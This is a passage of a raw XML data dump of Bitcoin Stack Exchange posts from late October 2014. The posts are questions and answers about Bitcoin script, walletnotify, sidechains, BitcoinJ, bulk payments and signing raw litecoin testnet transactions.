&amp;lt;Hash160(a)==Hash1&amp;gt; &amp;lt;Hash160(a)==Hash2&amp;gt;&#xA;OP_BOOLOR&#xA;// stack now has &amp;lt;sig&amp;gt; &amp;lt;pubkey&amp;gt; &amp;lt;Hash160(a)==Hash1 OR Hash160(a)==Hash2&amp;gt;&#xA;OP_VERIFY&#xA;// stack now contains &amp;lt;sig&amp;gt; &amp;lt;pubkey&amp;gt;, and if &amp;lt;a&amp;gt; didn't pass the test the transaction has already failed&#xA;// now just do a norma pay-to-pubkey-hash for the rest of it&#xA;OP_DUP OP_HASH160 &amp;lt;Hash160(pubkey)&amp;gt; OP_EQUALVERIFY OP_CHECKSIGVERIFY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I realize this is an old question, but I didn't see that until I'd already written up the script for it, so I'm posting anyway...)&lt;/p&gt;&#xA;" OwnerUserId="20850" LastActivityDate="2014-10-27T19:50:16.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32165" PostTypeId="2" ParentId="32162" CreationDate="2014-10-27T23:07:17.187" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Yes.&lt;/li&gt;&#xA;&lt;li&gt;Imagine that all you can see is the point at G, and the point at 8G. You're trying to determine how many times the point was added. And the number isn't 8, it's somewhere between 1 and 2^256.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Am I missing something or does it only become irreversible in the discrete logarithmic equivalent.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have no idea what that means; I'll leave that for someone else to answer.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-10-27T23:07:17.187" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32166" PostTypeId="1" AcceptedAnswerId="34022" CreationDate="2014-10-27T23:23:02.960" Score="4" ViewCount="555" Body="&lt;p&gt;I find myself a victim of either my poor googling skills, or the lack of detail in the &lt;code&gt;bitcoind&lt;/code&gt; docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a &lt;code&gt;walletNotify&lt;/code&gt; script running on a full node that whenever a transaction to / from my wallet arrives, performs a &lt;code&gt;getRawTransaction(txid, 1)&lt;/code&gt; on the passed transaction ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if any of my addresses appears inside the &lt;code&gt;vout&lt;/code&gt; array, I know that that transaction is a deposit. What I'd like to verify, is that I can indeed spend those bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read about non-standard transactions (specifically, unspendable transactions) and kinda panicked, so my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does &lt;code&gt;bitcoind&lt;/code&gt; perform any sort of verification on the &quot;spendability&quot; of the arriving bitcoins?&lt;/li&gt;&#xA;&lt;li&gt;Is there any &lt;em&gt;easy&lt;/em&gt; way of verifying this myself? is there any &lt;em&gt;not-necessarily-easy&lt;/em&gt; way?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thank you very much in advance!&lt;/p&gt;&#xA;" OwnerUserId="20854" LastActivityDate="2014-12-13T15:00:36.683" Title="Bitcoind transaction data verification" Tags="|bitcoind|json-rpc|script|transaction-verification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32167" PostTypeId="2" ParentId="30171" CreationDate="2014-10-27T23:56:22.853" Score="1" Body="&lt;p&gt;I know of these three:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;a href=&quot;https://gem.co/&quot; rel=&quot;nofollow&quot;&gt;Gem API&lt;/a&gt; enables wallets to be made using their BIP32 compliant API. &lt;/li&gt;&#xA;&lt;li&gt;There is also the &lt;a href=&quot;https://www.bitgo.com/&quot; rel=&quot;nofollow&quot;&gt;BitGo&lt;/a&gt; service that uses BIP32 Multisig wallets. &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitstash.com/&quot; rel=&quot;nofollow&quot;&gt;BitStash&lt;/a&gt; hardware wallets also are BIP 32 compliant. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-27T23:56:22.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32168" PostTypeId="2" ParentId="32166" CreationDate="2014-10-28T00:15:09.350" Score="0" Body="&lt;p&gt;Don't worry about unspendable outputs too much, those are mainly a way to store a little bit of extra data in the blockchain, or to destroy bitcoins. If someone sent you a transaction that had one unspendable TX output, that wouldn't be bad, as long as the actual coins it was sending took place in the other TX outputs. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Does bitcoind perform any sort of verification on the &quot;spendability&quot; of the arriving bitcoins?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, it needs to in order to determine your wallet balance. For example, if I send to a 2 of 3 multisig address that I only have one of the keys for, the bitcoind client will not register that into your balance, but if I have 2 out of the 3 addresses then it will include transactions to that address in my balance.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;Is there any easy way of verifying this myself? is there any not-necessarily-easy way?&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is an easy way! If your balance changes, then you received coins. If you're trying to do a watch-only address, where you're trying to look for changes to an 'address balance' (for lack of a better term) of an address that you don't have the private key for, then then you might try getting the &lt;code&gt;scriptPubKeys&lt;/code&gt; hex, which should match exactly with the &lt;code&gt;scriptPubKey&lt;/code&gt; you expect.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-28T00:15:09.350" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="32169" PostTypeId="2" ParentId="1413" CreationDate="2014-10-28T05:33:57.287" Score="2" Body="&lt;p&gt;Nodes on the network which are not running on the default ports (8333 for the main network, 18333 for testnet) will be avoided by the reference client in order to not cause disruption to other services. Otherwise should somebody advertise a fake node running on another applications port, other nodes in the network could cause a denial of service attack as they attempt to connect to it fruitlessly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A code snippet from the Bitcoin Core client, showing that nodes will ignore non-standard ports unless they are very desperate to find somebody they can connect to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// do not allow non-default ports, unless after 50 invalid addresses selected already&#xA;if (addr.GetPort() != Params().GetDefaultPort() &amp;amp;&amp;amp; nTries &amp;lt; 50)&#xA;continue;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to actively support the network with incoming connections you should not be changing the &quot;port&quot; setting of the bitcoin daemon if at all possible. &lt;/p&gt;&#xA;" OwnerUserId="20856" LastActivityDate="2014-10-28T05:33:57.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32170" PostTypeId="1" AcceptedAnswerId="32188" CreationDate="2014-10-28T07:42:09.527" Score="1" ViewCount="190" Body="&lt;p&gt;In BitcoinJ, there is &lt;a href=&quot;https://code.google.com/p/bitcoinj/source/browse/core/src/main/java/com/google/bitcoin/core/PeerGroup.java&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;PeerGroup&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://code.google.com/p/bitcoinj/source/browse/core/src/main/java/com/google/bitcoin/core/Peer.java&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Peer&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand there are differences such as one is related to a group of peers while other is related to a single peer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When should I use which construct? Are both necessary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the code, it seems that we should only be interested in &lt;code&gt;PeerGroup&lt;/code&gt; and not &lt;code&gt;Peer&lt;/code&gt;. Then whats the purpose of &lt;code&gt;Peer&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2075" LastEditorUserId="2306" LastEditDate="2014-10-28T16:16:39.553" LastActivityDate="2014-10-28T16:18:59.580" Title="In BitcoinJ, what is the purpose of Peer?" Tags="|bitcoinj|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32171" PostTypeId="2" ParentId="32127" CreationDate="2014-10-28T08:07:57.383" Score="6" Body="&lt;p&gt;did you look at bitcoind?&#xA;It does everything you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-port=           Listen for connections on  (default: 8333 or testnet: 18333)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-walletnotify=    Execute command when a wallet transaction changes (%s in cmd is replaced by TxID)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-alertnotify=     Execute command when a relevant alert is received (%s in cmd is replaced by message)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://paste.ee/p/IBU79&quot; rel=&quot;noreferrer&quot;&gt;http://paste.ee/p/IBU79&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And all of your transactions you do via rpc  &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;enjoy!&lt;/p&gt;&#xA;" OwnerUserId="18589" LastActivityDate="2014-10-28T08:07:57.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32172" PostTypeId="2" ParentId="21698" CreationDate="2014-10-28T08:26:37.020" Score="2" Body="&lt;p&gt;You can get all of this info from the bitcoind API.&#xA;you download bitcoind, set your RPC configurations into your .conf and then connect via RPC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://paste.ee/p/IBU79&quot; rel=&quot;nofollow&quot;&gt;http://paste.ee/p/IBU79&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same applies for all the coins really. Most just copy the bitcoin or litecoin source. Many of the features are the same,&lt;/p&gt;&#xA;" OwnerUserId="20857" LastActivityDate="2014-10-28T08:26:37.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32173" PostTypeId="2" ParentId="30111" CreationDate="2014-10-28T08:39:50.287" Score="2" Body="&lt;p&gt;Just use bitcoind &#xA;-walletnotify=    Execute command when a wallet transaction changes (%s in cmd is replaced by TxID)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in a script or for more details, access the bitcoind API via RPC  &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20857" LastActivityDate="2014-10-28T08:39:50.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32174" PostTypeId="2" ParentId="30907" CreationDate="2014-10-28T08:47:13.460" Score="1" Body="&lt;p&gt;All of the exchanges have APIs &lt;a href=&quot;http://pubapi.cryptsy.com/api.php?method=singlemarketdata&amp;amp;marketid=155&quot; rel=&quot;nofollow&quot;&gt;http://pubapi.cryptsy.com/api.php?method=singlemarketdata&amp;amp;marketid=155&lt;/a&gt;&#xA;you can create a script to keep the numbers updated with wget and a cron job&#xA;Cryptsy has a pusher API for live updates.&#xA;&lt;a href=&quot;https://www.cryptsy.com/pages/pushapi&quot; rel=&quot;nofollow&quot;&gt;https://www.cryptsy.com/pages/pushapi&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20857" LastActivityDate="2014-10-28T08:47:13.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32177" PostTypeId="1" AcceptedAnswerId="32183" CreationDate="2014-10-28T10:31:42.353" Score="3" ViewCount="1031" Body="&lt;p&gt;In my project for one particular functionality, I want to traverse through all the &lt;strong&gt;Transactions&lt;/strong&gt;. For that purpose I want to traverse through all the blocks in blockchain.&lt;/p&gt;&#xA;" OwnerUserId="20712" LastEditorUserId="20712" LastEditDate="2014-10-28T10:44:04.300" LastActivityDate="2014-10-28T17:26:02.893" Title="C++ code for traverse though all the blocks in blockchain?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32178" PostTypeId="1" AcceptedAnswerId="32196" CreationDate="2014-10-28T11:13:59.477" Score="2" ViewCount="79" Body="&lt;p&gt;I would like to do a payment to multiple addresses in the same transaction on a regular basis. The scenario is this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Collect addresses via QR or string (these may change on each occasion)&lt;/li&gt;&#xA;&lt;li&gt;Use all the collected addresses to send an equal amount of BTC&lt;/li&gt;&#xA;&lt;li&gt;pay an appropriate network fee&lt;/li&gt;&#xA;&lt;li&gt;execute only one transaction &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't thing QT or multibit can do this, but I could be wrong. If not are there any other software that could do this with relative ease?&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-10-29T21:38:51.950" Title="Is there any software that allows me to make a single multi-recipient transaction?" Tags="|client|payment|sending|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32179" PostTypeId="2" ParentId="32178" CreationDate="2014-10-28T13:19:44.593" Score="-1" Body="&lt;p&gt;You can do this with Electrum.&lt;br&gt;&#xA;See &lt;a href=&quot;https://electrum.orain.org/wiki/Frequently_Asked_Questions#Can_I_do_bulk_payments_with_Electrum.3F&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I do bulk payments with Electrum?[edit]&#xA;  You can use the CSV import feature to make bulk payments. It can accept either a CSV file or CSV entered into a text box. The rough format is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;ADDRESS&quot;,&quot;AMOUNT&quot;  &#xA;&quot;ADDRESS&quot;,&quot;AMOUNT&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9143" LastEditorUserId="2306" LastEditDate="2014-10-29T21:38:51.950" LastActivityDate="2014-10-29T21:38:51.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32181" PostTypeId="1" AcceptedAnswerId="32186" CreationDate="2014-10-28T14:28:21.673" Score="3" ViewCount="281" Body="&lt;p&gt;Regarding the concept of side chains or &quot;pegged&quot; chains which has been discussed since as early as 2011 and explored in &lt;a href=&quot;http://www.blockstream.com/sidechains.pdf&quot; rel=&quot;nofollow&quot;&gt;this white paper&lt;/a&gt;, how can these negatively affect the security of Bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before answering that question, I think it's important to determine if these concepts are possible without any change to the Bitcoin protocol.  Assuming changes are required, would Bitcoin suffer from side chains?  If no changes are required then the Bitcoin protocol should be as solid as it ever was and, it would seem that it would benefit from the usage, support and attention that side chains bring.  Perhaps different implementations of side chains matter and it's important to look at examples.&lt;/p&gt;&#xA;" OwnerUserId="6375" LastEditorUserId="2306" LastEditDate="2014-10-28T17:14:00.237" LastActivityDate="2014-10-28T19:18:25.207" Title="Can side chains or &quot;pegged&quot; chains negatively affect the security of Bitcoin?" Tags="|blockchain|security|sidechains|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32182" PostTypeId="2" ParentId="22191" CreationDate="2014-10-28T14:34:56.803" Score="1" Body="&lt;p&gt;Lower the confirmation.&#xA;The security reports are specific, 1 confirmation is not safe. 2 confirmations is considered 'safe'. More is considered 'safe'.&#xA;You can &quot;rock'n roll&quot; with 2 confirmation.&#xA;MtGox died the epic death because their custom made wallet was accepting coins after just 1 confirmation&lt;/p&gt;&#xA;" OwnerUserId="12392" LastActivityDate="2014-10-28T14:34:56.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32183" PostTypeId="2" ParentId="32177" CreationDate="2014-10-28T14:48:04.840" Score="3" Body="&lt;p&gt;If you are intent on doing it with c++, there is a blockchain parsing library that may help you here &lt;a href=&quot;https://code.google.com/p/blockchain/&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/blockchain/&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your application, though, I might recommend just writing a terminal script to use the daemon. It probably won't be as fast, but I bet it would be easier to get up quickly. These commands can be called to get you the info you need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;// Gets the block at index index&#xA;./bitcoin-cli getblockhash {index}&#xA;&#xA;// Gets the block using the result of the first statement&#xA;./bitcoind-cli getblock {hash} &#xA;&#xA;// The block has an array of transactions in it&#xA;for (Tx tx : block.tx) {&#xA;    ./bitcoind-cli getrawtransaction {tx} 1&#xA;}&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2014-10-28T17:26:02.893" LastActivityDate="2014-10-28T17:26:02.893" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32184" PostTypeId="2" ParentId="23512" CreationDate="2014-10-28T14:59:31.993" Score="0" Body="&lt;p&gt;If you believe that your databases files have been compromised at one time (which contain the key sets) it is a good idea to refill your keypool, so that attackers can't abuse any of the corrupted keys yet to be used by your Bitcoin client. You must do this of course before &quot;transferring&quot; any Bitcoins to newly requested addresses.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="7043" LastEditDate="2014-10-28T22:27:44.213" LastActivityDate="2014-10-28T22:27:44.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32185" PostTypeId="1" AcceptedAnswerId="32187" CreationDate="2014-10-28T15:17:15.763" Score="6" ViewCount="1211" Body="&lt;p&gt;What seems to be a very important paper was released this past week (&lt;a href=&quot;http://www.blockstream.com/sidechains.pdf&quot; rel=&quot;noreferrer&quot;&gt;http://www.blockstream.com/sidechains.pdf&lt;/a&gt;). It centers around the idea of 'pegged' side chains, and being able to move coins from one blockchain to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone summarize how these pegged side chains would work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How will they be useful for bitcoin? &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="2306" LastEditDate="2014-10-28T17:14:14.107" LastActivityDate="2014-10-28T17:14:14.107" Title="What are 'pegged' side chains are and how they will be useful for Bitcoin?" Tags="|blockchain|sidechains|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32186" PostTypeId="2" ParentId="32181" CreationDate="2014-10-28T15:57:34.617" Score="2" Body="&lt;p&gt;This particular proposal only requires one change to Bitcoin: Simplified Payment Verification (SPV) proving. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;SPV proving is required when you want to move Bitcoins from the sidechain to the mainchain. The idea is that rather than putting all of the rules to validate transactions on the other chain into the original Bitcoin client, Bitcoin clients would look at how much hashpower was used to secure the transaction. It's pretty clever, actually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sidechain proposal described in that paper glosses over the changes to make SPV proofs work:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To use Bitcoin as the parent chain, an extension to script which can recognize and validate such SPV proofs would be required. At the very least, such proofs would need to be made compact enough to fit in a Bitcoin transaction. However, this is just a soft-forking change, without effect on transactions which do not use the new features.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It would be more than an extension to script. Script currently has no way of looping or signaling to other scripts, which you would need. I'm pretty sure this would require a hard-fork. (Could someone more familiar with Bitcoin's internals chime in here? Could adding looping/signalling be done without a hardfork?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it would make a lot more sense to not track the UTXO's of the coins moved to the sidechain at all, and just keep a running total. Then, have a hardcoded validator for each sidechain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One issue that I see is that I don't think there would be enough hashpower to secure the network from double spending; merged mining could probably fix that though.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="6375" LastEditDate="2014-10-28T19:18:25.207" LastActivityDate="2014-10-28T19:18:25.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32187" PostTypeId="2" ParentId="32185" CreationDate="2014-10-28T16:11:52.087" Score="3" Body="&lt;p&gt;Portions of this are copied from &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/32181/can-side-chains-or-pegged-chains-negatively-affect-the-security-of-bitcoin/32186#32186&quot;&gt;my answer to Scott's question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This particular proposal only requires one change to Bitcoin: SPV proving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SPV proving is required when you want to move Bitcoins from the sidechain to the mainchain. The idea is that rather than putting all of the rules to validate transactions on the other chain into the original Bitcoin client, Bitcoin clients would look at how much hashpower was used to secure the transaction. It's pretty clever, actually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Destroying Bitcoins to fund other blockchains has always been possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One issue that I see is that I don't think there would be enough hashpower to secure the network from double spending; merged mining could probably fix that though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another weakness of the paper that I see is that it does not address what to do if someone does steal coins from the sidechain. (In other words, the Bitcoin network thinks there are 90 Bitcoins in the sidechain, but the sidechain thinks it has 100 BTC.) One possible approach would be to devalue all coins moved back to the mainchain by the percentage that was stolen. Another would be to take a flat percentage off the top of coins moved into the sidechain.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-10-28T16:11:52.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32188" PostTypeId="2" ParentId="32170" CreationDate="2014-10-28T16:18:59.580" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;When should I use which construct?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Use PeerGroup, unless you want to connect to a specific Bitcoin node.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;From the code, it seems that we should only be interested in &lt;code&gt;PeerGroup&lt;/code&gt; and not &lt;code&gt;Peer&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;PeerGroup&lt;/code&gt; will construct &lt;code&gt;Peer&lt;/code&gt; objects. It's necessary, even if you don't use it directly.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-10-28T16:18:59.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32191" PostTypeId="2" ParentId="21698" CreationDate="2014-10-28T23:25:30.940" Score="0" Body="&lt;p&gt;I would suggest keeping backup copies of all the data you have, and not give up on the idea that you will &lt;em&gt;eventually&lt;/em&gt; be able to extract the private keys from that data, even if you can't find a program that works right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presumably you have records of when your computer generated blocks. You should be able to find matching records from the public blockchain site (if there is one) for your altcoin. Your question suggests that your wallet software thinks the blocks are orphans, which is a bad sign. I wouldn't trust that yet. If the blockchain site shows orphan blocks, and you find your blocks listed there as orphans, then probably there is no hope. If you find the blocks listed as part of the official chain, then you can get the public address the mining fees were paid to from that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone, maybe only the developer of the coin, knows how to find the matching private keys in your wallet. If you cannot find a solution yourself, wait and see if the value of the coins becomes high enough to hire professional help. In the meantime, you can look at the bitcoin code and possibly at the changes made to produce binarycoin, and probably you can figure out how to extract the private keys from the original wallet.dat file, the wallet.bak file, or earlier backups of these which contain your blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish you the best. Unfortunately some have to learn the hard way that there is a reason for paying banks to secure our money.&lt;/p&gt;&#xA;" OwnerUserId="20745" LastActivityDate="2014-10-28T23:25:30.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32192" PostTypeId="1" AcceptedAnswerId="32200" CreationDate="2014-10-29T01:19:04.697" Score="5" ViewCount="1083" Body="&lt;p&gt;When checking out open source projects related to Bitcoin, I see that many are written in, or make a large use of, Python language. I mostly use Ruby and have little experience in Python; so, I would like to know why this is the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On &lt;a href=&quot;https://github.com/search?utf8=%E2%9C%93&amp;amp;q=bitcoin&quot;&gt;this Github search result&lt;/a&gt;, you can see that Python is ranked second when you search the keyword 'bitcoin'.&lt;/p&gt;&#xA;" OwnerUserId="20844" LastActivityDate="2014-10-30T00:47:03.430" Title="Why is Python popular in Bitcoin projects?" Tags="|development|python|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32193" PostTypeId="2" ParentId="32192" CreationDate="2014-10-29T01:35:02.097" Score="3" Body="&lt;p&gt;I'm using pycoin (&lt;a href=&quot;https://github.com/richardkiss/pycoin&quot; rel=&quot;nofollow&quot;&gt;https://github.com/richardkiss/pycoin&lt;/a&gt;) in a project right now actually, tring to verify the data that needs to be signed in a bitcoin transaction, so I think I can speak to this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Python is good because it's easy to get projects up and running quickly. &lt;/li&gt;&#xA;&lt;li&gt;There are libraries that take the work out of things like ECDSA.&lt;/li&gt;&#xA;&lt;li&gt;Python is a more accessible language than trying to code in C++, with all those pointers and references, not to mention compiling. Running on an interpreted language like python has the advantage here. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The disadvantage, however, is that python will not be scalable enough for all applications. There's a reason why the Core client, for example, wasn't written in python.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-10-29T01:35:02.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32194" PostTypeId="1" AcceptedAnswerId="32217" CreationDate="2014-10-29T02:13:15.530" Score="1" ViewCount="1239" Body="&lt;p&gt;I'm using the litecoin testnet network for testing. I have a UTXO at &lt;code&gt;053baee857adfdc16959e9dbc9618e0e935f0a1e51e226e651fcd67242f1f462&lt;/code&gt; with a &lt;code&gt;vout&lt;/code&gt; of 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I make a raw transaction sending the coins to myself (at a different address):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./litecoind createrawtransaction '[{&quot;txid&quot;:&quot;053baee857adfdc16959e9dbc9618e0e935f0a1e51e226e651fcd67242f1f462&quot;, &quot;vout&quot;:0}]' '{&quot;mroLyo22ptLfq5LKMijnCyD35mEsAWTkF9&quot;:0.039}'&#xA; 010000000162f4f14272d6fc51e626e2511e0a5f930e8e61c9dbe95969c1fdad57e8ae3b050000000000ffffffff0160823b00000000001976a9147bc2f9c3a30a18cc307d74fd014e4ddf7323398488ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I sign the raw transaction using &lt;code&gt;signrawtransaction&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./litecoind signrawtransaction 010000000162f4f14272d6fc51e626e2511e0a5f930e8e61c9dbe95969c1fdad57e8ae3b050000000000ffffffff0160823b00000000001976a9147bc2f9c3a30a18cc307d74fd014e4ddf7323398488ac00000000&#xA;signrawtransaction hash: eed300fc63a973b668af66af746fde378ec6556f4b330ec1eeccc6a77aa535b0&#xA;{&#xA;    &quot;hex&quot; : &quot;010000000162f4f14272d6fc51e626e2511e0a5f930e8e61c9dbe95969c1fdad57e8ae3b05000000006a4730440220258ad2725e66da0ae9825bb849a8e73f86e4767cf256c9fae44d18fbc1aacc2e0220406638a5b3369bb83d8a4f38a17b2f048c1495ebfd6fdff1a8c7b268e07f69cd012103ec539eb3d882c07575f6143d891c18d580cd9d2726add0d71d262f2f6f2d4ccfffffffff0160823b00000000001976a9147bc2f9c3a30a18cc307d74fd014e4ddf7323398488ac00000000&quot;,&#xA;    &quot;complete&quot; : true&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the hash being signed here is &lt;code&gt;eed3...&lt;/code&gt;. I added a print line t the code so that I could see the &lt;code&gt;uint256&lt;/code&gt; that is being signed. Specifically, in &lt;code&gt;script.cpp&lt;/code&gt;, where the signing for &lt;code&gt;signrawtransaction&lt;/code&gt; takes place, I added an extra boolean parameter to log the hash and the lines below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool SignSignature(const CKeyStore &amp;amp;keystore, const CScript&amp;amp; fromPubKey, CTransaction&amp;amp; txTo, unsigned int nIn, int nHashType, bool printHash)&#xA;{&#xA;    ...&#xA;    // Leave out the signature from the hash, since a signature can't sign itself.&#xA;    // The checksig op will also drop the signatures from its 